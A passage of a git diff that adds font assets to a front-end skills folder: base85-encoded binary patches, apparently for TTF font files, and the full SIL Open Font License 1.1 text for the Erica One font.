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 IKfd7q0nomVmH+?% literal 0 HcmV?d00001 diff --git a/skills/frontend-dev/canvas-fonts/EricaOne-OFL.txt b/skills/frontend-dev/canvas-fonts/EricaOne-OFL.txt new file mode 100644 index 0000000..490d012 --- /dev/null +++ b/skills/frontend-dev/canvas-fonts/EricaOne-OFL.txt @@ -0,0 +1,94 @@ +Copyright (c) 2011 by LatinoType Limitada (luciano@latinotype.com), +with Reserved Font Names "Erica One" + +This Font Software is licensed under the SIL Open Font License, Version 1.1. +This license is copied below, and is also available with a FAQ at: +https://openfontlicense.org + + +----------------------------------------------------------- +SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 +----------------------------------------------------------- + +PREAMBLE +The goals of the Open Font License (OFL) are to stimulate worldwide +development of collaborative font projects, to support the font creation +efforts of academic and linguistic communities, and to provide a free and +open framework in which fonts may be shared and improved in partnership +with others. + +The OFL allows the licensed fonts to be used, studied, modified and +redistributed freely as long as they are not sold by themselves. The +fonts, including any derivative works, can be bundled, embedded, +redistributed and/or sold with any software provided that any reserved +names are not used by derivative works. The fonts and derivatives, +however, cannot be released under any other type of license. The +requirement for fonts to remain under this license does not apply +to any document created using the fonts or their derivatives. + +DEFINITIONS +"Font Software" refers to the set of files released by the Copyright +Holder(s) under this license and clearly marked as such. This may +include source files, build scripts and documentation. + +"Reserved Font Name" refers to any names specified as such after the +copyright statement(s). + +"Original Version" refers to the collection of Font Software components as +distributed by the Copyright Holder(s). + +"Modified Version" refers to any derivative made by adding to, deleting, +or substituting -- in part or in whole -- any of the components of the +Original Version, by changing formats or by porting the Font Software to a +new environment. + +"Author" refers to any designer, engineer, programmer, technical +writer or other person who contributed to the Font Software. + +PERMISSION & CONDITIONS +Permission is hereby granted, free of charge, to any person obtaining +a copy of the Font Software, to use, study, copy, merge, embed, modify, +redistribute, and sell modified and unmodified copies of the Font +Software, subject to the following conditions: + +1) Neither the Font Software nor any of its individual components, +in Original or Modified Versions, may be sold by itself. + +2) Original or Modified Versions of the Font Software may be bundled, +redistributed and/or sold with any software, provided that each copy +contains the above copyright notice and this license. These can be +included either as stand-alone text files, human-readable headers or +in the appropriate machine-readable metadata fields within text or +binary files as long as those fields can be easily viewed by the user. + +3) No Modified Version of the Font Software may use the Reserved Font +Name(s) unless explicit written permission is granted by the corresponding +Copyright Holder. This restriction only applies to the primary font name as +presented to the users. + +4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font +Software shall not be used to promote, endorse or advertise any +Modified Version, except to acknowledge the contribution(s) of the +Copyright Holder(s) and the Author(s) or with their explicit written +permission. + +5) The Font Software, modified or unmodified, in part or in whole, +must be distributed entirely under this license, and must not be +distributed under any other license. The requirement for fonts to +remain under this license does not apply to any document created +using the Font Software. + +TERMINATION +This license becomes null and void if any of the above conditions are +not met. + +DISCLAIMER +THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT +OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE +COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL +DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM +OTHER DEALINGS IN THE FONT SOFTWARE. diff --git a/skills/frontend-dev/canvas-fonts/EricaOne-Regular.ttf b/skills/frontend-dev/canvas-fonts/EricaOne-Regular.ttf new file mode 100644 index 0000000000000000000000000000000000000000..8bd91d11773f5b035a9e6b6d1bab2e59b08051e3 GIT binary patch literal 24872 zcmch<33yaR)<0ZzZ!hV+JG~{Hbka+b4oL`*PNx%=gf(mlVF_VJLI`1B!;XL`j0+Bm zqHK=H>H;dF=;*+x<BSd{E+Z;}zzpgO!sxuHFoL=L|5e@YBqYIc-skzgKy}}~x9ZfX zQ>RXytuCR25EEHNL^7vu?>?o(LjFw%)#I+C@8F7IbB8bLgbM2jQB?IEHoWI6Kfm$~ zo=?H^%!*+h^6tL65q0T1_&uR!X7!whK3s%rArtq;)>Y4+gZpM&EASmxH)F|U^U=TC z2(f-iNO|umwbhdvs@j*~`2%=fFa<aCd2yZbyElHPO_^E0cut`!o)GmWLd0`3X4h0d zo^anGT;GK{S7uf(o<j$czvDU$^*ytyXVy+8Yab>=w;1@w&zU{He${8!lL%4bw~#Vt zUhSMIsn_h%IKD>Sm^dBy!`PG}?oDll5Gk+VO6-6hxfJ$C=!<P2ydKjAHK*`5Dp zzlh=vX+I$vXXK^G?dqR+tLQ`i^>2PhOEU0J=v`V?N#bWz*UutG{#3y}fdTtteNpn~ z1?StB-)8FiBhiT$*zIGz>p>U!JMxmWU;UHf4*ZM*p7Ng{WP*xHApQs8UffzIf735W z9=Xnj)9laR?3&D|uV*9i+z{k3DDI%cJTe|cs1OdKu7@{gAVd@!J{guaqM-foJqWFp z7|9B<k3?uE+LI2W)pQbFOjpni!rQ_Z;_Dup$K^@!_&gb&j-Jk*-kyD4pEtuN_*6cV zFW%?!rTDUa{d^OAwdqIy9l0TJT6oA4<XOP$L5I=_9Nz7K_ZQ(az_WT1JjosphgZ}B zo~0SQNgN(#H*!AmM&$L#`pBxt+(>PtCNelu7AcZc4Obg%=iWT`$8$%{9X|K!xdZ2( zI=B5?(b>1ozH#R3Gw08oI`jFNzn%Hu%v)!kJoDh0-=4}+Use9dM~{L3fAE(=@<}b( zM9$G%+7+W-MSn+MpvUNE^c(t<;1tq?-ol;2cHyWH5#z-w@g8xn_^x<X{9d6}bW=Q} zcv*2lsaNJGdn&7x3zWZAZdJah{6Kk5c|&DU6{*Il9#Flix}dtDcBwn4E7Y^pkEowf z|55#(`tRx=;z*n^t}JeO++%Ua<8Ek@G_{($H9ItKYR+i>SDT?7sGX;MT>HNEg3hYT z*NxQ8)ZM4st9wKDiQcGB)>rD6>Nn}%(0^m_7%B`44f_no4A+evjb+BM#`}$1j4vAB zH~wJCG8LL`Gc7dTZF<gh*z}cIFz1@<%zrTd%aUyAXIW(Vz2$0rr}$CvkH)_g|F`%b ztbS|QI?y`Ndbf3-^_<OQE4IzC9kN}sTkM1E3+&tMf3ZuBT*nZ{y^i;tHs@I9D+#8A znuM1Ut|Vq8j!t|q@zcahi4m8>)zww!dfIg|DK4pV(#oViCViQlk~|=JVe*dTvu@(f zao^^i;a=<B>HZ`oHDyG~x|F9=E~n~Kb5bi)Yf~4dZccqZ^}W=8cvRrHxt`lS_jq=A z{@^*`rQQzSG2S)a7rcM<Uh!4=>U>Ll8+`BhF8ka2=lIw7cl+P-pY(s9)-kOnZBN>V zX&2LJdVEIrjQWfn;2gG^@E3Ur>$9ytNMZ1qfVHN;>QWIk*1Cphi4GFVfYoM#T(yvR zV#PYN69;jU1d>QxB#9&wH%TF>ShZf_BYu)b(jj#MB$KowStOg}koF{(bRZo`C-fZz z$Aw4%36nxnL^_i$q$}x0ib)Apbq~^$^dh}UA5u#Cl76H=89)Y-GE$B;UqJ?wA!H~S zMk>j0Qbk6Pkz^DZO~#P1WE>e!ZX**&HQ7n-B5TND@(8&=){@_n`^aPDDYA>)OFk!e zl849@@;$kqJWB2+e}a7dU-CQhH2IPIK(3M<WIy>Ud7C^-CXyQR0GULNVP(8Sj*|Du zyW~A`oLnT6$=}Ea<U{ftsU!a)50X#F$K(W=LN1Yil6%NBGL=jxGsz4xi)<&e$y_pr z%p>#30#Z*Fl11bjvY0F-OUN>EJ6TR%fwWl(8McbtK`xVT$*bg3@(*&JJWmdgFUeO_ zAg__H$^Vc&<TLCzr^spY1vy7flCxwhd4U`xhsew1E%G9HiTs(YCU278kY~tW$Pw~K z@&_uCb>wlZ>L<w-vYC8Gc9RWc8`(?NlZVMh@_X_Td7ZqWs;sG=H+z<%&w_cgG56og zOhL=R1}P}}Nt&P_X<|3hLAaARl}_Rok7A}H#4fn;42&!Ua9u&t=*z@Le;{uD{SeUz zCvm+2&o`qyh4N>VZ77eS)S&H~@-_VgZBL?nhu@|0H$6ox!f|30E~ESl_Yb37N12CG zj(f*|heC!=ui@H<YxX@J&(Gr9i#k{EtwmAc-a(WdxJDb{pTsDhz;pJUgl~qU3;i;j zU8Jv&g6kS$pldN^_Ke{^B>KG^{T#)3??gM?r;|{sBUjj1=uE)>P`=OGuy(A@8GKjZ z`zN$x_tvA|L#Ve8{oz_D#Iwujlfk-7iUc+2{s8K-J|8F9!bgD1>f8f-*5cj~GEaD! z=zyzHEFezQbF$wIUy6J5P2vPijr402HU`$`i@0X<Q%`bfJM^jHZQY8M#HfHipp3)w zQ$)?_&1l}Dh;QH?n}c~b7dF4qqNf`oUto?%jQ(s6nis(r{f#+b^Uzq>99#k1dr$zc zts*{-`-~o-fAa#G8Bvnyq{vm;H}VpA%hH_oH(ghtA4ZFoh0OuGhi^Uyr$GOiM6E~x zj*Lec?_mCfHN@1&FKj-*2lPXd%?jo$S4bo4Q6|wUQiZxD!fMh%6iGWli}~4%IavVu zvx0dLK9P%9gWneci<NJPQ_(<dYBR3Sq5e61GoJhieP1SaMF-MdSV>C6a+0d(5P3x$ zM-tdvivd!pxC+{8$!MWF>W%;}9Y<RfA&EFOPMRWiAa?MI9jn_2*#=EYp~3ZO;qK@) zCGo<-=(PZPOo?8L=rc2Vt!P$9NnC<4dS696^xNpQnpDwE(d#(eUmU&GG`rRTzsl%+ zeY0x=^<Y<!aWmqIK&IB?-yG}@9q?~HB=S5+*EzU1AA8AsT+hJwY}~EG^9t-2W!M*{ z;QoB<L#22!3w1r%EoMV%*F*YNqi!wk$Teo*y9U2!p?)oyg!>C{Jqg$Ia9s~btnM)E zKxO!@K+mjhbI4^kLCC?gD&Csm#(MW)x69?l(+snl`;B2!js2k-?PlO}B0gE)i}0J_ z;lVxDZx8H#?7AK_@%*3Yvj{L30Vmc=J)qA5p7q#|*w}JGjoH|{%5lFAw5UZb4|ZTi zk6EZM(`G4lW;PEs94DEQ47+;Vt>)C5iSK#X1wEYZ9#F5TugYj&?Cw<b#m2{4RX2lL zfu3riFAT*e!-L^EuT9E!ggz0x3E$S(GD<baSccB-=5cMLQ;U9D*X@OI%mLnP)ODQd z9_TeS&}^Ducra&6@cY+|m9=NIpA5*|e{n9_L38rpUlS)VsxW??2Y!*cwu#dRfl@R1 za}Ttzrjhsnq4{sd&5XuAtTKwCg}#;-wGoX`8!=`dvgdSq?Yvpg1?Acl+9A^<Deh2= zo7K!w#4F+yf<h4gEq*Ir5Pv5=EG`x6#XM0jToo=0p9}8_&k9cp3x!IdR7eoC^xyPb zdVwCNf1vl$<@67@GmVzfQkqG%(A$m+PeSiHf`1egU>c{RQPX6)WdPJ?`eaO(Y_3T* z>5c<$(iy87b;Xs?s6K@@D3G+s3DQ3DG<xYBxde^3G;)#jjhrX_B43lCk?%+)?p8&v zV5Fsy)6pmA$pG9Pir<x}$)1kIw;DChM{8V)*7!PF;}V|sMm@R4B|vBGFEv7^fN+J^ z`3VrNp!H8=6rPVp83U*cz5;i?j@~(qJ6}Uq%5_-(*P)^JMys1~_zu0CZ^Uv$<Z2_- z7{n`pcm;hh7*{ZUhNTSkJKVj*@9x1pin~98UZv<`EJ_TUuNv`dj?H(l7}6rgNd|h) zLTL{w=K)GS3hP0p@Oe&yD)b`qT6wt2M~Oq*)6LplA_cr1qZ?~;9%E(mmK8Z0g?t|E z&I9sk;CBMGPVia`@<_B~Bco`+C~S$m&D%1JO7XleN^CYn5=NaOP_}F20!CN_n4M9& zpiWmjVcc>WJ)Vbcl!klq^Gl7-HNfZ!V4TL26KHt?t==XhP=7QEqxg@Jk6=NW@gxH! z3ndRFABBxD)?ZiDjEywL1!K|Q3Do-pg^h*rY8vXvJuw{5qqp;<8^^ONp0iQM6D6?G zqWJJko{dZBlhOG{V0wZS@_re%r_ug6r^zVXAB{2=<ujC1D3mxb>jFu@XCl9HqGbXK zCCU7^qw#k<))TWe)1Z~zBRq}SH4&2T7rkOI&tX$#Q(s1Y0UdU&kk<aNI^4N)cy(b> z=kMvuQdXC#ojXtM!rRiv={eymv}O9R7-Wq_nq>T&QJR1cJS~-8Wd;3ofQ!f|?12@U z3NK$U98~k7_N#*^{xC1$VA$`)ow9l6Gx4{XzpxY;hbl)H=UC2I##z3wbTJNBjiDRI ztHulc$Kmhq-g9;MJLmN>Ip>TV5Eh7W41Rhjmj*II`QboN?MS7T48J{v+HGp5Kb+Bl zh8&dS5Ac;ft+}C@7P1VUvwZA3nj7kxux0R%iK4}pIsb+1(SzgSRnqwsmv->bJvoE> zYptpqaE>X7J91WW9s09~)ni3p*=*!~YkWbT!>saUkmz?fm{*XW0V=9&4rQ}zvFz^a z_Z*x5{lfYm=l>kR_kthhpY5i%SoG{e<e&UQINN|eq(^VRU6O9UogT$^<o4TZ&536G z|Eq<4!RaUhpKIcN;WgOxS+LcK((ei77t?S-7{f2{IPAfY*KSj(o!)?vs#T)h<_P9> zqxpWH%1xWD>3t#TZJX0<H<hfReb<<%Ik&u4`Z!sUYRh}bqEAj{7_v{z$7w}wtwG2e zKD%zwy?3t~QJZzTOz+XV=}y1F?Do6O8*F-WvdwMAjM(Yp<Ra$}Vg+ZUnLdv41fHcu zcEW|hXh_1~v~WQQ^%?~=$dyXH8F|JeYdg1*j#ij5j2YpiBxz6OE9K8@?l8$?ic22T zarHk>6^19VS$9Wv(w_ha#Bdgb@-e;M6cGbfnW%e4K~fSOZSCYsPO=6(hH;;rnR&9H zz&dQqmS;9~nv~Am&%iNBun5<fzt!plyM&!;r#hexgac)D`VaJT3aU#ErTGsP*9v<x z7A|RbSU>5u>C<n!4c%c3q(;aVrhyZ{(e|L-Z}*4%q2OzuKk~@uk3K3)d;H}3^(Rr! z7THU8(o*I@4(EeGFd-)D4QJTKd^#@KXp}xpAGWKitbBOU3cr6M*cYQBr{LK;iuon! z-jJ7mCiS7Oo%)W$y2fE)#W_GXwpM422Ar{)iWkeu4_2_&n#fstALmidoAf^LoXk&b z)q-P$!{8V-Tk-MW5wpsZksi#;2e;bXPtZ|&c1e47(Dpsu?w-j){8LX#kGybTOJSjm z7oiJaZ2_;KCEentBZYBQ4donTA}ojf37>pB8VZLnLQ64)EMeRi6qYwU@${q|bH;&+ zy?2+FZ~1YIGtQ`_CGnm)bwh_Fv-ZGh9k2?Z8=G3CPN7aT_4+WOVMiYLBdiWN^8*=v zpNWda0sspu^;U-_InFNasJzGJvS-(}*I5-icLr@KMLumiefwSGH$F(e3V8A~Vu~ry z<KslV;eSkVDxFE_Ehgv{aU!Lvc=v2h6MVdkacLPJr29iwuO(>l+r8G1Urmkw`wu#0 z@L*~0Xk%dXdAd+KEPXSYCX5`(DFVD#qNNKwkO%(DrfBO|rzkLPzl{CS_5~%q5(Mwd ziuBBGsfn9*4SUGraTJnBlGQ{PN#DB^Se_->GncsxhM&@-GqfJGa4_AE`qcJ<ycB^G z!(4!Yr&2LP-E1M#!$lc^nPWP}OYiU5`un$fFHB5q*X69dUg-|KQ=bs*-r@5X=!`vf ztya3~T9kzqnw88}Xd1>{3G7wC-r}{0UTd1r@nNa%VLF%gluk<ZbgnF8gguyBCwzvG z<5nhF!Fg<g_)GycCU(;8Hb^=M7fcd_OZ3{OT2Oj>>1(w)!@W*ZUZ(W6Q+k_bHVPC= zqKVda82doLVYath)z_C8XC2V(<BykAWhR^TnFjM7Grr9Rv$+{v?C@Wba2}Wp6b|Kk z!DQwrr-Wm4$?&OuEX)XGtgfRS_imLo4_K9)<m<Y}taqCeEZ0Gl$<t3BI3(=^Q+${5 zcss~06i5WNBVMBiW9uWf#)RlvTfx`b$>uALE*$jIz%sV-Slhky5O0fER(!OLviX|7 zgEy6qHZ6TRv*Jb8{;$nM0Fwai=tsf?HZ$Q+x>fBI-E`Q*ZQCYZeEIbVNlIohA@oP) z3O-=~=7{aUkQ5da!6yk+VuddLND6$!S7#$MYFCQkfR%nE?Vq@H>qNT!<=3GdBryv@ zfaZ0LehmECOcQIqPaVL@<BQlRxB;IDYA1fj6ogHs&Mg0wtd2`+Q`1tVOYyoCqpU1I zW1y>(EI<0q>XC!fdS(yEc3NFoI@e=ergXu7)|WA|S$G4y*AaFy!A8kv4%>j!NHMLP z)9p4BHmR^(<qJTfGmV6^e?I2bi3tXaK`zh@gBMo~&MMYwdpQ;r?>_MM;Vm0ATCFB+ zn^WyhomVlnJULgZF>8~Og>*-PF;375bot84*;cJ~ui3SS-tqnV`Mo=Kj8h4BdOF+U zZKGaYq*tkxcD3b&xb$vu89s(95IzH34Q!wB2K;JoK|D6B6dLcO>R^CwP<2yDf7TYe z66xnUUr)WXDz1Zi`t)6N)R-}8tE7#)Xw9~5Y$XBCKLE!J3PaEbEsS^BZon6l$}e&W zVt4xOTxW38S^Kxyv|680HGlpf@b2*8!*v$3aB$M>Ku@F5(lg0Feg++#Z!it+RAfnD zE7~2oiYU-wwy#n<_WBZPfq0L~4NC^yV#^ypAfZ~?did2>%I|TfjG*;lK_y5he1~Y= z)A1UO^e(mq>=MxtLmLMt@FmucQic{^;BGo~?*VCxw3`m*OIbL${UvD!ePF-YP_O5B zpnVla%JxPGM7}#>xNf22XP<rc_lCEHgVGn7C7DtLI5X;&pf3Dfjdh_6bV5yOFR!@n zG={_Xh-bl_Y~zMv6K*~-x+U}Sbm>uys{cBlmo8h{M<X539HNt-G^*9oY1SIOT#zxM zkagY=<U78hrS_Lz?kv4R`_W~zu%Z0oMRfTN?++i1yPcQsb_cQ9$yBDN01G?1lL`5d z!wFC})%QK7+wGa%=%~3`kn*~j(&r^@?L@hE(I&S@=luq)UeW3e&;`<ybfhDjj$gV| z+TQNS5!N{^l=ez{j>K?aJt2O}HzhCj+{sc;)EdNThf#_61<oWGRY>g*FzC);SnMh7 z&2i;2=((;O0f=9(ufHxFT(c%hi#O4VQ{2hK2Aa7kxFuhDHzd6!96Wx!q5SAkkPPee zsu&NB(t&3Q+tJP3IxrVlv0`O*@Tq9suorjjJ~-^)p51Sl5-pJG!r`Z-hYuW}GoF@S zu7_x4e8J@_n}_q95{||dfNezOw_Bpzl}+7r`oSl=hnMB|bEB0W4&DV1%rEMsSH4c$ znGLxH6XVdx^THM2Wg{M@_cD>ug+`Z?Q|-$LaBa5{!S$|#yLTUSy|~+=(X`L5oo?wc z6e=_nX)VL?>6e0|tv2nyIwh;=iY9dBb#M*Xn&8<WeCAjeYKPOC(E(ZrUk%xm&mvIn z+ci~sIS!9yw2vNTh|kQQzN5B0VTjq#6^P5+BkTg^$@syx^O$`iD-59&Aqe{g*4Lb& z>r+#P+`oF>p8YkOTuGX=+xsnD{<Lt|uG2~XNOx%~hfkj4)aidx7##_ks!x`2*r4tj z;EVl$?dX0Kw=iX?bT55?`lT<VIfz@xQi81orp7Y9W#(RpaWEz{#8$-a7eOxC4-^8Y zt=h45+Y@w^G{#^u>(QF6*RygTl(8}X(PefgEnF^TuR@GJg>Gyp$8%mPLPW;@En zCNzv7|K}C!q;0S_q$eiQPA+@G(IiJAZO_^N6&jZQN|8X&)DyTn9j&drIa@b$rQIpL zR#HNHB_=p%-(J0>S1(>fDnNzw1%~;Iv?JPDG@y6*)S;8+3W1D36o5(%TSMqC-IMI- zr1xsF>BK~bosP=Zc=eqe$vgF0kEMN2I$C;~R!Mt$wzqh+Y}|}<nLNO%X-6$#Mq8-1 z3mW!s{+%%Vp+_iPkG@a;7B$l%`>}ifz-B?ogiOE^#)dnTK09yTFtM-nvr0OI1<f?| zSLuDCg6Y#vF>Kwm{`>W%VtV?|r|_&VU|f}9VC8!)PK&xPeNGxOf4=a;&%dV%B^?0e z0DTEMdR<(}GzA(^`$1jmGTT0y_w7PKw|O(Im)5abhR9|_Jwm)En1lw}zYaSRMeON) zIz^nx?qh#f(kal+iiG!nm&{k#Rp|7iuv0OuTphL>sgE1hU{t0GFe{R&`Ai$9A*Pb% z6$n$5iSZ)`<vLWF@Z#O8wwLGMW_M`P)(+nOkn~j%)Ap7wqvuTtMvKm@>$9%1ui6i_ zm#Wov{|xEdOmjk13v)+)hCOf*915yiy>>M>Cd}v=v#9pNns1anZki=13q7-!ty(xZ zPp7dTr%6l%C76YaE3);5$ECB61vG{t+M$w(p-Pyt7&qG|Ll_(EmGovCq+i}Mg-{Ra zmG#@V_nQ$P|6Y7{zao<@<q_KTLF~oSzjH(ti@!4n48wTX-o)$Y_H|5gNu@B_nxQDH z`&p|<G^Tf+x^VFn7$h2+E$x$$?633a+}mmDE|XflUn*_FQSM;^aJ0f}!Ywts+AHH{ zHwx$~9h+c2^dR?rwCi%EbUCr(<Pv+F|E?k1@25$e)_>fxYD2kCr4j$2G$m~Mb0EN} z3#%9NxnKB+X$jVRu2aEy<rWVN*l<Sn$Au%zrfJjqNuLJVJB6Mv8&s-ya-=I~&Rlas z^%k)w>=f#R!I+zN;3)#@5n2ovBKcitE`@!-6!U^01ds}z9p(jrY=%c9&}buI&)AW( zdBT$2E5_A3EXkdU2h3kh$N0<-<j-Q$#6GH-YLRF<u(DTK&+u%~W=hdi4xU{rU6?yo z-eWEl!#F68j)|>KHXqQuy%t6mI~EON9LAn@3!Mv&kiMc>T7|7=$B8wRdtIbIfk~<i zF87Q&X(<3OZlit01o$_xw=)f%4^0H9+J5~9J~H4Om@TF2U7eTo>DurQLEQj<TjUCS z5Pf(X$kTM2+FMK^OqmGhjcK2-^rgv3+ke@Az`#caj$YQ)IU<K1b#__9pfFxU$FBi% z^mwyw&{z6|X1UU7sC#$mkBJbD7o{31N?%Iv$+`i2cjM6xKL0Qf3_?%NaMK)n=y1hD zLY0(o)jkN&A+5zX!9}noo9GgwPteJnMZr90luE*0Mx`IIElOX3Ws}W0{TAfLxypl0 z1ZyN*1!vtsCby3hPaelQ^n@9p44)`$5MS;XYRy+SIMDtRYoxEx6YYixkl`>G95kN= z?hP0v>l{scyZPoVeM;tr2Or#!xnaYDf0Ead<^kG$!v^W~2Wa8V>u4u9V-$8FtRtn5 zX-Gk*Y}mAbxG9t@eR4w^U+nVCnX~eQ3{`8Z6ZZ8F*)`8d-|V18Z9(QzO6d)S*%r=~ zZKuN-4&E#Rq!XgEbk5SnQ+$OcmrDC{OahGSo}KVG_3U!M)a@soYl6=yN<R@Q7-wL| z0YL>!mL)*J7&o+nDmgx{Y(3~FY7@1I(woMpTr0p>;g8_Dg`N98qrQkx3XQ53ITb4t zoV|aueC*OqLsmGQ$qS07&sr;tVoIw&L0`OUBCbvvoeA1O&&>c-J2>q$*R`1D&81H_ z>JJsu5(>wcg{~g0bWSMwDv;e%ufNfk7Ph~vG&tW``jeqF**#0T7{zNHM#6XlQXwWS zo0N{ZG%3n(V6`MBy(=0Ha1NU>nf^w4nRy^(ZWitU9PF&=G2Nq=%StUHrIOLqdy3XK z9Kd6_rnncE&2$f_#X%IW2z4RB;gp^qO|udmmZLVii~8PuSE%^%qmRC1ZLz}(JJA-_ zi#Nda4kuIB=`62LIy0!82Gi1L%BWE%PtqisA0ZLxUFj>{C*&f-4((*@AP1py&=OZX zb&QnWa#U4lOR4)Jo!n4a7wS$wV3a{$NoaGkR*@tL_uNCJb?YeYLp9R1KB$?7J^Y~P zLSzkcf;mc!BG`@DV;v|{MA<sVUFO+kCMDfuRH?-TPmip+I)hrBR99CS@GHe67(~fu z7X-TLbb7DTS~G4fyY!8?dt6Owl3n8)u_(}0r}Hz+AlLdr17W%WmN4Tws2<OWL-4E! zxV$6d5{9HNp;0`FS^R*xmZNyE{TkR+vQAr~Gc41m5|gHJRHEJLeGH?!IR+!v0;5ES z2CfL^o%l*nQ>N`>CuB-<7=8j64b1vd2a4&yF6I4=rj-?{bZf9@T5q#u*<iJo?lLDC zj3swz+!~k5Xz0F1%ZLqb-bt4UBQP%T2J|Jb6=3qY^<Yz#|GPli^241h<iS3m1oo$& zc4jdT=B5BmHbZZC4LNn#Ib-pKsMcVIpWPqMrS9KrZ)gXl>SWC!Fa*D9s%Xx|{CQL2 z^a|-)ra=7DqOO^i_#hx=1EtkiTd*&v-=>C<Tr4m*GFNz*ao~fJS+h*Fz2S&L7hh1I zd1h<BsTQ+!zG)$C2VotF^KY*0`}niWD!5{A$8o$W90Ek}30tkQ@$F!~0BCR+Y5>r0 z>Vdv{C;s3W$d7m3U$OgDQz$PlPx<P>@?}o!+YfkLE?0`ESNvqKKe`du&+LG7kS=0l z;oK`GK_>=b(_v6Eu&h8$jH=q0C60pdug%iETefUjk>5j;MXOz~7e-`jdgQOzyt%r% z+T}`2=szH)aS!O9kO%>Ws8Qqy9SsiDGL6L=uz<rs5tUDDy6mj;E|`|8_kETTy*NYb z6?D2quaq`gq#7li!7d+`b-vBQG(ZDGrN^AhAxAI--zAGd$a)auWz@4Nq;!|wD_fqB zuxP3DQ`fE=9x7XwkT7NG`?-z|=C3@ry=T>EPPvjEtW3##Z(_WbU8{PghWeyp@e9cR zIx3Wj)3K_VjuqoCTd?u!=gv84X*rz-9V}wsMHRx)%)#xRU<Ivp*#Gu%KVnq#V?KIi z9+nw=o&k_J7y6&d?9e?yN5fsedj}m`Ji!tl8qwoDRpR)fI~OmBIqnA}8uZVr#r#)P z=Hx}vxAPfpMsh^Zfj^SCmyhZ2A$j|Uiq8~m6t3PoqdNWTIfLUZaVc|pu3e_EXAT~( zDI9ZO{c25?K3-41c4&3)!Hqt8LLEKg?bT~RpJHY9id>yPPLEAXfX|>%bP2Oyoxp~J zC)1*K+M{1iTEA^u68pIL@d4?&-Fy8&^c#HT1O>X#W6bZtA|Mt&t(Fc6X`f#?DdjK? 